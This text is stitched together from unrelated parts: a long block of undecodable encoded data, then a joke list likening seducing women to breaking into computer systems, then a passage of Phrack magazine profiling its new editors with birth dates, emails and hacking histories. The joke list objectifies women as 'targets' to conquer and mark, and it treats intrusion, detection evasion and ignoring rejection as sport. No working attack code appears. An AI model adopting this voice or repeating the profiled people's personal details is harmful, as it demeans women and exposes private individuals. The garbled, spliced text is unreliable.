4lD$URK"‑Bic1SA!bKA0SIN+&FqMpqaXDk%5,prQ*&[SidD+65*`I2(5eJC‑)24& @%MJcN3dpT0Zf(Nr%$0h3rC'bT&qA)lVI‑R`a1fMSL6*0el5B*ZXa24baBVTY*(6 !ahA9X+c5B0Lb)Z#4X!cEXJ,m(#B@#`B6LE!H5qM"B$#Lf6+B"8')aB)keSTiSM4 XK28`FPbApD"Z@4Uc*%2Ab`KF0b`Y(06dB#!US4rf%A00$PUkCF6#ZQlTY2$L‑%# AbT+3!%8,QMEQ$GP1J#K1JI3)@1Yk8!Bji'%VaP'4T!%BleK3MYVaD&+AicVk`9! #a'cEEm4d14Efa3`MA'CVXKpU5+!B*5DkCQK*`b#$q'RCj3G28P!cJV+PkTBGXE" `k9&GmaZ*‑1%CPK(%GUVjpA"#6PT@dX#A'$6LDi9a,UeUFLb#KSaV)$V‑)a[4'&3 e)E!["Zp&j8K86j)A,!JD0R659GB‑(2HSKKicV#JXD56e8X‑IK,‑d@ECe'`JiIY" MrQ4F$rU6TEB1ij($B3%b8!4He0!dB+qB"TdYJi`1raN`#Sj3$&)Z%!8K2@,i,5L Lkh%Ui!qrPSMSm4L$l%E)#N&T13)F#`B#[6M)"r''Al"hi56HJ(h!(q!5p&8MFPJ aiU42R&bHL0K3&jN3#F‑6$&mT)K86X)*%@U'&f,&p‑4hU3aBd$#52$%$Z23f8C!Y 1`,Q5,M0,KA!@+‑K`ZT'd)$(&3DNH)fK$0[@BbJ!!CVBK'rjB%,X+0#8BF,"PF)k J(d!N+6!a'6L‑5!T%'GaNk6)XBGY`‑I,GJT%JL`8)*!TTEm21NN(k'mJG‑U!186' N3Ae`5#DMF$@PNQA,#S95f)+5%‑l'VU0,YXmb)P&b(JpL,"JD@GNIXT2qH$J!1A@ i9[H#'+P*3CU``R'B0PRQXreq+dbj)S+Br'2#)*B'MH"D3bmP0@AiP!Ga(%cK)d3 Ih!1lJLU*!fH+)%B'qB)a'Dk!DNMS5%3P9r%‑S5"'XL%3iDX`j%,1),GYR‑YC%6H )35KX`2(N#%Q1a‑K‑&M3NZe%3J`UX#er"1(#$35&LK+2‑#f)p!)dY+%UHLI[K2Kl LB#'#'‑+4Gf&*i‑*L0V)#!#SPC'N3L,UIJ59mKG#)iiC!$‑N(6#E,#)#!RY4d"@D `!K!KL83PlA%+3EV#)FK$k!X[d"c2IEm@‑@)XS8H`h@&hm1YaRf&a8@%1(ZJD!Sb lPr,‑‑Z5BC8‑T5)&%J$()k9E3(c0L%3DRBahN'a*%iqB)d#d95L"%(8jES#Hrab+ 6d2#4$6,)V!38#qSDZ'Xbl4V%J*Z$!M)1'8"+J['d1!,CaSD!2BUE!c'+@0)M@‑4 LXE"QfeJk$‑5qE3@4f@4rj#NN!!m'rMLeXT+dV0N‑N8(f0fc5bi"4i&Kb0F!Y1BM GMV`Be#3i@UESKMbd(e++36j,dc5ZX!*B@5qc‑BKd)CC)k&)%T3jcN!$#%"#F+'f `NA"G,5!BC4JJKIek@36ETfeL(8@N3)&%`T!!il,ImXPFB6qbhZ5QLIKTcB'jD9@ +qq*3'2DRI+(%3+4&i&QS6eNImaPfN!$X6fP$#T,)Y0r&L#KB3#YD$reK!dI&X"& jK1KKA4*,83*V#pNIbjN9M'#l##H`+pJ!#b,ISBXPNrfa‑B)JV8B'a0)5GS)[)N% rI1GZ1`Kb'iX9JXHJ*4$,08K'))`GMpJ3(6Yd0%,"LDd!34$AlDJYqmY!$3FTF35 @E[PJ4EY‑LaU'M#8'I#`SB,&i4,‑XfX5B*5FK'16JUlSQilamm[D4Hq)JZAGTC2F ZMFqp3q0hlp!`G[2N9d*`'HH#T%ihefrVl0#+LqP68%c#*jM&mhjT!JP!MTqq9HZ R6pfaj@,U'LEP8emc1c6hihF6)j‑IfEDCC&SlY)TYlCZde,DfG5h&‑pDd0AAJ8p2 DJddGQl5D68dY@l5NpS(LD2'‑hUVQVI9JJqpMYE@f0EAAYmr95Mri`6,`H*Y0ZmN PUM@eDbhE1V6@Y[TfI%TVk`jY@fYp5h%CrqUZaMmVVI'EfX@H00U'ECeE0h,3pI8 Db$8hYH!$R4Z,2q4pr9QV&i!VYcAADq$&KpUeG@fBK%ceE9Tc8hYl8dZMKJ[J'lD eYA@fGK3AH[3fV@X(‑8MDhVN"X1d0R4$P)Xhj(Y#$!#)9IS‑c9p[B#AQfDHYDA$h `3C‑Ej"ZihHEMTmK12RIMK)IRZfpkEX,a%&eV&eL2Gq2+PG[le9'5$#aaqAh'dPG i,6hc*lM'K5mK2FSIaVj66Eq*DeY6MmH*erlK`kbALUHSf%Y&)SXGIRX9IArTUN' PRr81ShL+LVe8*2"aIhJbC)I%%P$#[[jH1RbG6iURKcf‑pf‑A8i)`(qrqKYX6pD@ 8b!'@q‑bqrR@k,XCRN!!5r%[mJLP9@$"i63X'eA685A8CJY[6Je!%(Pp3H#h`"JB %hX#!`+0TU[IMfTQS"CjBB+J@H2[h#cbqeU"ZD""i$3d#MeBH83ZmKJD"4efUbmS %APQC`#XV%hKPC3+[$)qS[D0Dlbh`D1N5YF"M61!*Qj!!fJ*,+%Sei9&0H&36RR#

&1%S@H‑)IlY%bV`@Hm)HBTPViJfU"*rcK(N(c@Z!*Ia!,J5Im3EA!%rkJ@Z!*Ia" EJ5Im3EA!%rkJ@Z!*IhLH%&ML,I#%2kJ@H‑)IT*l`N!$`"p@%4cAK88ei3Q@UK6r F"CIA!NmS4VA!%`c*$3*26,J,‑Um&R[#(ZaDM&[kJ@Z!*IhK(pe3,21%23KGi`Kp 8#ccK$kS&R[#(Pa@H*`5@H!Xmi3qK"Xd)Ie!Y2#6m36AK88ei3M@UK6qS&RM#(e3 ,21%2S5l9`KrZ!3'["Cj3Q'U"*a3K&`Jm`B"UJ5Im3CA!%rkJVX!6rU"Di!Pr8#h `K$qm$2@b`[1%`"*[J5Im3Ha%jJTr8#dm*2a"0H%*&DJ@rU"Di!Pr8#h`K$q%@P3 ,Ie!Ym)3rU"Ci`Kp#9DU&2kJ@H‑)I9!XmSE43RfUK$08#6c#K@Z!*IiKUFVI`‑Y6 ,#Xm6!NZm*dpY[‑h,fkLm6FREJ+BZS8aY)Yk'i@d1hNEJ*EfAi&ibHiRV*DQAN!" HmRQ*jL@9Pd"HXRL*i5@"jh$2ZCiM2DGj$[+Fi5RZ+HNTj$(h'$(QIA$‑qliE[cU 1jr"K8H0L1Rp`NC`rq&`%Ilc$0Zq#‑Ql1ZFr9,KKj(eN6AjmM,[33&hU)#ch%K4l L3JpaSBHiL%[CiMEl1kG!G(i`8@I['[fhScJaR‑j'Ga8G+rVr1h2Ck)8LGZ$YrXa "kF#"m5jflUfLD50G"`pfMCc'h"P[lUX%&XBAciUNNB1$r6,QKiYBehJrkrSjMCc Zj`JPE24Fd9Mr@*(rh,Q4VJ2Rqk@$)fH,f%(J($b&`I0&dmk0M(4e(F`)[%+"GjB SA##`NBYJEaIj4Jlf#k"E"0!`!Bd4d+M,RS#'Lq34&mF9i*F61'!Xj#3JM2Ah2eq 8kFIRaITp4886!TbC`$[Z`AbV++qrU+LIr`#N#k#h""!l5$Kra#%1ASBBFL&'6Na !G(N3e`Q)[bjL)d!i3!KI)0Q@LVP"U$r@2`)#d$FEZ[Ah3lN46,j40"eqS[k",MK UB[B‑T#FhN5'K$F‑rD[#B%‑14‑G53!,[V!SNbdLmG',Q!k6I42A"@f‑1E1qGf$Sj !IXBf#akr`*YeC4!&9)m44UBrjf$AZA‑N!'L4qpL"dD)mXLT%)0r$`D$a,KM2MNa r&JD+‑%'b`‑m‑(kpfUE)$!$j30)V"FB%&'Z0)!6"cQ5*"r‑48#%F"m#i51CkdJ0* mNSfm65cA6E#Nh$J)5FQN"mC&(f!b3)NPd%E3i0L))jib9e"FBU‑H933BrRI,"‑4`9!S4"44RqFK4362L9a$lK+*Jq")H‑6a)SbB23IHU!p`IY@6r‑EkA881MT0"b3d (!6U)0lF#1*d6e#HQ+3P)3P$#+#HdH),3Z5P#)S(2F$B5jIbNL1cJ,eePhUBT#Jh 'lK)d6Y‑%`DpfkblLrNZHqPNLp5Faq1cEVL6B%%JYa‑+N+"0)3QY8N!"ef,2Re,4 B‑D!Gk(!&1BdU3B1G3a+k9L!`Z%!X'QIG2"NXNXj"M)Nj1!FT4%jh0aAb+rJXZXM (XbYF`d11VcQ8dK5&Er&%2RpamMbirC9JBIq'"3m8MS82*#,VH6T2$PdSHJYl'$Z 3!"%159dN3B+I%b6B1Bii+K$(qNq*P2)IS2`P%hV$&!TrHA&AB#‑JFS"‑6E$X(‑p T6KaINHcr+e+$KmU9kBc(`e‑92%K6JF2hL3XJ4541Hd&*qPkFT43H[b`',8I#J36 PVSBBi8RPdL#c8@l`@Gp)84&jpKb‑FiN(6kVc[%[E+Ud`2"(2rE@Ei$$8j,#[#jX D#FKj,2Gi$2%9L[YiV0m2V[d(N!#K2!`p‑X+'&15A%(`(LiVi,X!ChHNbkJ)MGhe `i4!1)ZFmh35G#rhqeC26`LYXj'G6kR5p*4BmE"&MrG1!GV!IS6bj''$"kJFb)4' IDC!!H!)"K#!1K%95‑(DIaqM‑P‑N)X!ZpLEJL"*F8bF&$JYBC#23ZPJZ!EC1a64k pAhVd4$Y6*'1E`cE2Y4AmhZBl%!M#P,RZYYMIA`5%,,$$k%8m[Q1"*‑*I41`f3C4 ([,FC#J‑4@CpB$‑@L3‑R%TrNq4RCi@eKfM"1GJZ,4#VIb$6FMGP#aD,5`89,m2#Q

&fD,*"IKXdAQ3!*V1pf+Z)CqL2H35@)B@R)2R4+45`pZ3!$NHcqdc3LF4EaI2B'L $)T)B`$Tr32MK02K‑*MM(m[Cl$X,Ai3qrHr"$b`[dKr`mZA$1J+AS`*[B3l,SY!& X4iZ#hVP$dH4Ta*QTS`NFT2cMN911k$M‑[i[4ajYlf"kmIjGZXdL$q(f(h50GB2[ `N3Ta38Bq*LFHCcQB@iZjalejVkE,13X[1+`[LfRiCQGI0Y2'm2pEh0VReYQS`f1 VT$@mIeKkjLT)r5`@%Dkm4C3PSR5YbXY*ahm96Rlc2FFI`Gb3!$I[eH6iM`'rfbf cfFI'(#RMeQ0Z2B,k)5M4JrUM8+Ek+NMp,,B6!BabZbKE49NR5Qj912jU#$FT2l+ 6ep*ArrArZ8N*F#UbU,L"LXhi#`Zi!(Mi+N)P[U%bM#+,LKZSf)clUV32I&[k0RI LGHb0pp,K$EcGr`Kf‑4eQBqlalTXQHYjcPrX',IlMkI"4ppE'l"AdZF3F0`fQrXA B"!GHcaM(VBT"E#XC*XR*A(3,d"dDii‑,d4V"S1mDkRi‑h6(UrM4[R2h#B4RUrGl

&h['m$$LIaYpjNH32jSMH'*XFmTAQLKl)2*'2PZqdikF3qicEC0fSRjUD(+*Q0LD K$qZGDYC‑0CpfQhjmG9$k%M@[`H4*e(rX0[dR%D+lU&Q!b5(8clY02cj9+6p,cB@ BK0cX"FMd9iiI(IRe22UHpXmG(m6i,MNBImZ#ra‑*(rl*f[[aRU[phAAb!GH9lm2 R)b[BYr[`CbliX`Vr4‑h2[V2lMl3C'Ye0EmFYmff0q+XmG1PmF9Ypr4TF#5qHJ@& kUVI@dkhZ4I2Z`RmUdA"cI&h(lHkS4J3Q(V0UfHeFM1Ce,61@NKiYp4fhEh‑R%ZZ fE5hHX+hCTHAGMemrG@fH4Yr6djAcmRpq#qdiA[J54Qk8‑qakqQmQk2f3!2ka#HT AkGqAS2jjXXTHK#hPl‑UPpq!2BNKc0QlS`*m9Nf,fXUSP1‑HiBfQb#KmCNPD,2ii KV4Gr*%0UX5TYi%YG64[Dm6FbT)qMMU2HKaSlM(4!r,d‑kA$6KUddpdh802HLZ@a

&$AJGYCI@,‑1rkRK$r)‑91AG$d`Em'brjfYE@G4fSLqpD9,N+p@,k,cc‑*ppA[64 C`kE*Mce3hpB1["r6(P9)AJdp1*Gk50$Ed‑1Re[RFI26L6(BFN!!Z4`mI'+AHc!E d%[5CdKZC‑KFprUp*#PRS2[6QLkaACI45E"I["9M`)h1a1&,2aTcUc[d1HM9ZE`G kG5l'1(VhLK#CPB2H@M%hD`Ck'phH224DhGlpk(@i[EI4fb4keikLpkcSA8HF6SV H$4*khd$!AD1aQkDKGachZ@HKGaek!jJV31p@&YTqA'KcMi(Hkm#i'A00k"f6S6G kHi$A3j`dT[prk$e2H"UEX`#pl`ZZYbRSI9l`L2d"H[MI8h52I‑(ldH[$B3QmXf! aHLp*daQbB%%MHMZPA(BhHPhSECAb'2kZdi,2S,GAF&V`CqJG`EqpJiI,Mk,hCA$ k#'0hR#E(q%i4aSSiG$VLHj0k0A1!mC3%lc+fHMCkTi4qDhm,[66j@'0hMk!AQ&R eB!Zqcq"pY'%Drr6$p15kPMrVd&CdYPcTjkrXf+M4AbE6jQRU04HEp)',GcjS‑F2 lP!A[jZ'[MA8dEG"UkVGhC&FhEHMSE+[hk[m(4#S!!!:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hackin' GIRLS 'n SYSTEMS ‑ ....

by SevenUp ‑ sec@sec.de ‑ http://www.sec.de/sec/

Hitting on girls and hitting on systems (I'll call them both "targets") has quite some similarities. If you are good in hacking one of them, it won't be too hard to enter the other one....

It also represents IRC channel #hack's current state of mind: Women's talk is taking over.

THE GOALS

=========

‑ Biggest Challenge:

To get inside the first time

‑ Targets that have already been successfully hit by others lose a lot of their attraction

‑ The goal is to keep as many successfully (formerly virgin) targets as possible

‑ Different game: Hit one target from every region

‑ Mark every target you hit

‑ You don't really care much after you got your target, unless (in rare cases) you love it

TIPS FOR BECOMING SUCCESSFUL

============================

‑ Key to Success:

The right "defaults", depending on situation and targets

‑ Be Cool:

Don't care too much about the target. Don't get involved emotionally, but play a little with the target.

‑ Knowing different languages and keywords may be useful with targets of different origins

‑ Social Engineering and spending time (sometimes money) might lead to your goal easier

‑ The more targets you'll hit on, the more you'll succeed. Just ignore any failings. Remember: Better to have tried (and maybe lost) than not even have tried.

‑ Best time to find targets is at night

‑ Backdoors are always inviting (sometimes dangerous)

‑ Don't start with the top target. Start slow and easy and look for more difficult ones after some success

‑ If you get rejected on the first time, don't give up. There is always a second chance

‑ When you just got little time to hit on the target, don't hesitate a quick first try is never wrong and leaves you more time to think about your second step.

‑ Scanning (and probing) is neccessary. Don't give up, even your rate of success lays somewhere between 1% and 50%

SELECT THE RIGHT ONE

====================

‑ Be selective about your targets!

‑ Try targets with tight openings

‑ Targets with many users have more experience

‑ Targets with shadows / shades are harder to enter

‑ From the inside it's easier to reach the root‑climax than from the outside

‑ Many targets look uninviting from the outside, but welcome you deeply inside

‑ Some targets are leaking even before touching them

‑ If a target blows, it sucks

TECHNIQUES FOR MORE FUN

=======================

‑ After entering it, let the target become active too! Let it do some work and see what comes up.

‑ To protect your target, close all openings and save the key

‑ Even some targets that suck can be nice

‑ Sniffing Targets:

For lamers and perverts

‑ Fingering Targets:

Can be interesting...

‑ Leeching targets dry makes fun, takes time and let's them become kinda useless

‑ The right wrapper controls the intrusion and its consequences

WARNINGS

========

‑ Remember: The number of tries is limited. After unsuccessful hits, the target and its environment will become aware ‑ start searching in a new area

‑ NEVER just pay to get into a target

‑ Don't fall for booby traps!

‑ When calling up targets, make sure their owner doesn't notice

‑ Don't use crack on the target... it fucks up the brain

‑ Don't fuck (up) the targets without protection

‑ Be aware: Some targets with change‑root‑environments can fake the root‑orgasm, or make you feel coming inside when you are not inside

‑ Penetrating a target too hard could use up or damage your tools

‑ Try to identify faked and "cross dressed" targets before totally unwrapping them and finding a bad surprise

‑ When entering a virgin target the first time, you have to wipe the tracks this can often be messy

‑ Remember to get out of the target when you fall asleep

‑ Never lose your mind over the beauty of a target. Always check for guards.

‑ If you don't watch out, you may get a lifelong sentence after a 9 month trial.

Phrack Pro-Philes on the New Editors

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 5 of 18

‑:[ Phrack Prophile ]:

This issue, we have a "very special episode" of the Phrack Prophile. As everyone knows, Phrack is once again in flux, and an entirely new editorial staff is coming on board. In an effort to introduce everyone to these three hackers, we've had them do profiles. Ladies and Gentlemen (yeah, like any ladies OR gentlemen read Phrack), meet your new editors: Daemon9, ReDragon and Voyager.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Prophile on Daemon9

Personal

~~~~~~~~

Nomenclature: daemon9/route/infinity

In real life: Mike D. (as in David, not Diamond) S. DOB: 10.05.73

Likes: Women who aren't afraid to cry. Dislikes: Hippies. GOD, I hate hippies... Ink: Large back piece, and growing... (It's the outline of a die. (No, not as in a pair of dice, but as in a computer chip...)

Other: Glock 19 with trigger‑guard mounted laser‑site. Passions: Computers. Computer Security (or lack there of). Health. Mental and Physical aptitude. Main URLs: http://www.infonexus.com/~daemon9

ftp://ftp.infonexus.com/pub

mailto://route@infonexus.com

mailto://daemon9@netcom.com

Hardware

~~~~~~~~

Years with Computers: 14ish

Computers Owned: Towers: P90/32MB/3GIG (Windows NT/Solaris/DOS‑WFW) Mids: P120/32/2GIG (Linux), 486‑66/16/700MB (FreeBSD), 486‑50/16/540 (Linux) Laptops: P133/16/800, (Windows NT/Linux) 486‑75/16/500 (DOS/WFW)

Networks Owned: The Information Nexus (infonexus.com)

Media

~~~~~

Music: Front242, FLA, The Goats, NIN, Diatribe, 16Volt, Morphine, etc...

Movies: Usual Suspects, Miller's Crossing, Sneakers, Fletch Army of Darkness, True Romance, NBK, etc... Books: TCP/IP Illustrated vols. I‑III, UNP, Applied Cryptogrpahy 2nd edition, Computers and Intractablity: A Guide to the Theory of NP‑Completeness, and so on...

A Bit of History

~~~~~~~~~~~~~~~~

Ah, the days of my youth... Carefree, happy‑go‑lucky, life was a big open door to me. One spring a very good friend of mine told me I should get an ``Internet'' account to write him mail while he was away at school. "Huh...?"

...Was my concise reply. I was deep into the computer thing at that time, but I had not gotten into the Internet yet. Well, we went out and bought a (at the time) $200 2400 BPS modem and got me hooked up with this brand new service provider, NetCom Online... At first I merely used the thing for email, but soon after I taught myself all about Unix, I discovered all the wonders of Usenet and IRC (AKA the Big Waste). Most people know me from my frequent alt.2600 presense. That's where I met Voyager. We quickly found that we had the same interests as far as computers and hacking went. The rest is history... Sorta.

The Theory Behind It All

~~~~~~~~~~~~~~~~~~~~~~~~

When I look back and try to figure out how the hell I got here, I have one person to thank. My father. He bought me my first Commodore 64. I can remember hooking that archaic thing up to my TV, writing my own adventure games in basic, and saving them to a tape drive. My computer time line goes something like this:

c64 Apple IIc IBM XT IBM 286 486/33 486/66 P90 486/66 486/50 P120 P133... 1982 1984 1986 1987 1991 1992 1994 1995 1996 1996 1996

I am not happy unless I am bathed in a contstant stream of extraneous RF radiation. My room is alive with a myriad of blinking and flashing lights, several humming fans, and hundreds of feet of fire‑hazard‑inducing cables. I have to put tin‑foil on all of my windows just to keep the sun out and the temperature down. You'd be amazed how well that works.

The pursuit of knowledge is what led me down the path I am following. I am simply not satisfied with knowing that something works. I need to know why and how, and how to break it and then how fix it... I do not solve a problem by merely finding a work‑around. I slam head on into the fucking thing and work with it until a solution presents itself.

Intelligence, to me, is not what you know, or how much you know. It is the ability to reason logically and rationally when the need arises and, if pragmaticism is not the best approach, let intuition and chaos guide you. Intelligence is adaptive and ever‑changing... Memory capacity is too often mistaken for smarts...

People I Know

~~~~~~~~~~~~~

Linenoiz:The reason I fell into the whole Internet scene to begin with. Best friends for 12 years, I would not be where I am now without him. He is one of the most intelligent people I know.

Nihil:The reason I fell into the whole hacking scene to begin with. We have had our differences over the years, but our computing interests are too similar to let petty squabbles come in the way of our friendship. The other one of the most intelligent people I know.

Mythrandir:I met Myth about 2 years on alt.2600. Sharp kid. Very sharp. We think so alike on some things it's freaky. We'll get going on that Tiger Team soon enuff, Jeff...!

Alhambra:Strong coder. We did the DemonKit for Linux (and are still working on it..;)). Jeremy and I also have very similar interests as far as hacking goes. I am glad he is here

with me in the Guild. I need more people like him. Not a risky gambler, but hey, I took care of that for both of us...

Halflife:Coder supreme.

Shouts Out To

~~~~~~~~~~~~~

Brent, Carrie, ColdFire, Crow, Halflife, Heather, Jason, Jen, Kev, Ka_mee, MikeP, Mudge, Shawn, SirSyko, Tim, Tom, Topher, Xanax, Vision

What I Have Done

~~~~~~~~~~~~~~~~

alt.2600

‑‑‑‑‑‑‑‑

It used to be that you could find me in that group like clockwork. I was always there. Reading, posting, flaming, lurking. That was me. For years. This is where most people probably first remember me from. I took it upon myself to self‑moderate and answer all the questions I could possibly handle... I usually posted several times daily. At last count, I posted over 2100 times (according to ~/.tin/posted). I was prolific. I have fond memories of back then... But, times have changed. That group has gone almost completely to hell (AKA the way of #hack). Thesedays, it's a fucking miracle if I find a worthwhile thread to follow‑up to... These days, look for me on comp.security.*, comp.protocols.tcpip, sci.crypt, alt.security.pgp and so on...

zines...

‑‑‑‑‑‑‑‑

Oh yeah, I wrote some code and a few rag‑tag articles for some Zines out there. Can't remember the names...

the Guild

‑‑‑‑‑‑‑‑‑

The Guild is my group of roudy Internauts. I started the group about 20 months ago for several reasons, some of which are just *now* becoming clear to me. For a while there, we were putting out a zine, The Infinity Concept, but that is on hiatus while I do Phrack. Various members have done coding and exploits. Look for more to come from the Guild...

ftp.netcom.com/pub/da/daemon9

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Somewhere along the line about 2 years ago, I started to take advantage of netcom's free 5 megs of ftp space. I put together a modest collection of tools and whatnot (under 6 megs of stuff). For some yet undiscovered reason, people flocked to the site. I have no clue why. It wasn't *that* great. What I find even more fascinating is the fact that to this day people *still* go looking there for hacking paraphenelia. The site has been vacated for almost a year now. If you are reading this and still have a link to my O‑L‑D netcom ftp site, UPDATE it to point to ftp.infonexus.com. I am *much* more proud of this site... Hundreds of megs of top‑notch stuff here. Anyway, the netcom site went down because Brian Smith (at the time the only member of the netcom security staff) told me I couldn't have certian tools there for distro. When I ignored him, he froze my account. This was the final catalyst in me deciding to start the Information Nexus...

the Information Nexus

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ah yes... The InfoNexus... My frustration with Netcom led me to do what I had been wanting to do for some time, start my own site. This site would be a Haven for hackers, a place where they could come and be sure to find only the finest in technologies and tools. A place of much learning and information trade. A knowledge dumping ground. Thus was born the Information Nexus. With anywhere from 6‑10 machines the Nexus is a heterogenous environment: the OS's range from several Unix flavors, several versions of Windows NT, and, of course, the mundane stuff (like DOS/WFW). The main box, Onyx, is a heavily tweaked Linux machine. It is a P120 with 32MB RAM and 2 GIGs of HD space.

As it stands now, accounts are given on restricted basis, only to friends and people I know (or people whose reputation precedes them). As soon as I upgrade the link from a 28.8 modem I will start offering accounts to the masses, at a nomial fee. I will also open up ftp access, allowing a greater number of users at all hours.

The Infinity Concept

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TIC is the zine the Guild put out. Some of the noteworthy subjects written on: Cryptography, Windows NT security, Unix security,the security of PGP, and several coding projects... We have done 3 issues to date, but I have stopped further production of the zine to devote my full attention to Phrack magazine.

Phrack Magazine

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Several months back, I hopped on IRC with some of my Guild‑mates and was having a wonderous discussion on, oh, nothing. Well, Voyager was on, and he dragged me into a private chat. He told me about ErikB stepping down, and told me he and ReDragon were to take over as the new editors... I was very happy for him, and told him I would have jumped at the chance to do it. That was his next question... Since then, ReDragon, Voyager and I have been salivating like dogs waiting to get our hands on the legend that is Phrack Magazine.

My pledge is twofold: Timely distribution and nothing but the highest quality articles. We will be distributing Phrack on a regular seasonal rotation and will weed out all but the top‑notch articles. I plan to write at least one article per issue. I promise this much: You will not be disappointed...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Prophile on ReDragon

Personal

~~~~~~~~

Handle: ReDragon

Call Him: Dave

Past Handles: Dr. Disk (circa '84), The Destroyer (circa '88) Handle Origin: Thomas Harris Book, Saab insignia, D&Dish sort of name, then I decided it would be cooler (and original) if it was all one word and one D. Date of Birth: 12/30/75

Age of current date: do the math yourself

Height: 5' 11"

Weight: 175

Eye Color: Green

Hair Color: Brown

Computers: Apple ][e, Atari 800, 8088, 386sx/16, 386dx/40, and right now a 486/33

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I got my Hayes Micromodem //e in the summer of '84. I was eight years old

and with the help of my babysitter begged my way onto an H/P board. I used to read Phrack and write BASIC code, I was quite the clueless newbie for a while. People say age doesn't matter, but it does when you are that young. My lameness continued, I learned Pascal, the years passed, and I started to figure out how things worked. I discovered Unix, it was cool. I learned what Crack was, I used it. Years passed I started to figure out how things worked. I would go into more detail but I don't really care to tell the world about my life, ask me privately if you care.

ReD's Favorite Things

~~~~~~~~~~~~~~~~~~~~~

Women: yes

Cars: Saab

Foods: Taco Bell (doesn't everyone?), Young animals killed cruely Music: Pink Floyd, Beatles, anything not techno Leisure: IRC is bad for you, just say no.

Alcoholic Fun: Bottled beer, Jaegermeister, Long Island Iced Teas

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

Saab car trouble in Queens on the way to HOPE.

Saab car trouble on PA Turnpike on way back from Pumpcon.

Saab stranded on George Washington Bridge on way to SummerCon '95. Saab finally breaks down on NY Turnpike on way home.

SummerCon '95 (memorable that I don't remember any of it) SummerCon '96 (the worst organized con I have ever been to)

Some People To Mention

~~~~~~~~~~~~~~~~~~~~~~

The Green Machine (for altering my life more than I can imagine) Acker (even though you gave up on it all, wish I knew what you were doing now) Bluesman (why didn't you tell me about C earlier?)

Zorgo (for ruining my life showing me IRC)

Wozz (I still don't believe you grew up there)

r00t (you're all a bunch of idiots, but i love you)

Asriel (we are pretty similar people, except I'm not a narq)

Max‑Q (screaming at me "Nice Fuckin' Con!" after Summercon '96, I was touched) Taran King (you were cool to me when I was nobody, I was impressed) Sirsyko (only hacker I know that I actually trust)

ErikB (annoying him enough made for an interesting summercon and a new phrack) l0pht (for bringing back what hacking is really about)

b (stuff?)

Why Phrack?

~~~~~~~~~~~

I have been in one way or another involved in the "hack scene" for more than half my life. I spent a large part of that on the lower end of the knowledge ladder, and throughout it all few people helped me along directly. What I recognize though is that there have been scores of people that have spent their time, at no personal gain to themselves, to help educate others about something that they know a bit more about than the rest of us. I read a lot of books to learn about hacking; I paid for them and the authors have gotten the money they deserve. I learned quite a bit from college; I paid quite a lot for college. But I have learned about hacking most of all from hackers. How can I repay those that have given me so much? We are rather fortunate to be in a position where we actually can give something back to them. We can give them a new generation of hackers that have the same opportunities to learn and to share their knowledge that we had. We can show them that we haven't forgotten about where we started; we haven't forgotten about why we are hackers; and we haven't forgotten that to be a hacker is a passion, and it is something we are proud of. To my peers, consider giving something back to the community. To the next generation, learn from what we give and explore from what you learn; it will soon be your turn to take our place. And to those that made this all possible, to those that gave their own knowledge in the name of the community, the hundreds of authors, the ten editors, and most of all the readers: Thank You.

ReDragon

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Prophile on Voyager

Personal

~~~~~~~~

Handle: Voyager

Call him: Will

Date of Birth: 06/23/69

Age: 27

Height: 6'

Weight: 200lb

Computers owned: 486DX4‑100(FreeBSD), 486SX25(OS/2) and P‑75 laptop(PC‑DOS)

How did this handle originate? I jumped on IRC one day and didn't want to use my real handle, so I made this one up on the spur of the moment.

How I Got Started

~~~~~~~~~~~~~~~~~

I didn't start hacking computers until I went to college. I taught myself to use PRIMOS and I started hacking because the 150k disk quota I was given wasn't large enough for me to compile decent sized programs.

I started hacking in '87 and didn't run into another hacker until '91. I got Internet access and I found Phrack on ftp.eff.org. Wow! I thought, these people are serious. Shortly thereafter, I compiled the VMS client for IRC and I was talking to other hacker types on a regular basis.

About that time, I put up a BBS. The system is now known as "Hacker's Haven." The system has become fairly popular, with over 1,400 users surviving the last 90 day purge.

In '92, I wrote a "bot" in the IRC scripting language and called it "HackSrv." HackSrv distributed H/P files on demand and also opped all of us regular #hack cronies.

Late in '92 I moved to Atlanta and started organizing 2600 Meetings. We had a blast. We held them at my apartment. I can't imagine what my neighbors thought. I still remember 40 people in my tiny living room huddled around the TV watching sneakers. One week, we were hacking on one terminal, IRC'ing on another, watching a lockpicking demo on the front door, sorting trash on the balcony, having firearms instruction in the bedroom, and setting off bottle rockets from the kitchen to the living room. The last is not a good idea, by the way.

Over the course of the next few years, #hack went completely to hell. The place became littered with clueless newbies asking clueless newbie questions. Other people, usually even less clueful newbies, would kick and ban people for asking questions. This effectively stopped all useful conversation on #hack, as anyone who brought up a technical topic was likely to be kicked immediately. This led to a group of #hack ChanOp's who had absolutely no technical knowledge and instead wasted away the hours stroking their egos. I was annoyed by the incredible cluelessness that had taken over the once fine channel and decided to do something about it.

Towards that end, I wrote the #hack FAQ. The #hack FAQ was to be given to new people to bring them up to speed in a short amount of time. This, I reasoned, would raise the intellectual level on conversation on #hack. It would also set the tone for conversation on #hack back to the technical atmosphere I had known just a few years earlier. Later, the #hack FAQ became the alt.2600/#hack FAQ and it's purpose was expanded to cover the newsgroup alt.2600.

In the Summer of '94 I moved to Denver and joined up with TNO. TNO is a group of friends who share an avid interest in computer and telephone security. Today, TNO consists of Cavalier, DisordeR, Major, Edison and myself.

